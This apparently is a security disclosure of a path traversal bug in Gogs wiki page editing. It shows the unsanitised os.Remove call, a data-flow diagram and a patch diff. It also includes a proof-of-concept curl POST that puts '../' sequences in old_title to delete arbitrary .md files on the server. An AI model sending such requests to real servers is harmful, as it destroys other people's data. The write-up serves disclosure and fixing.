// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }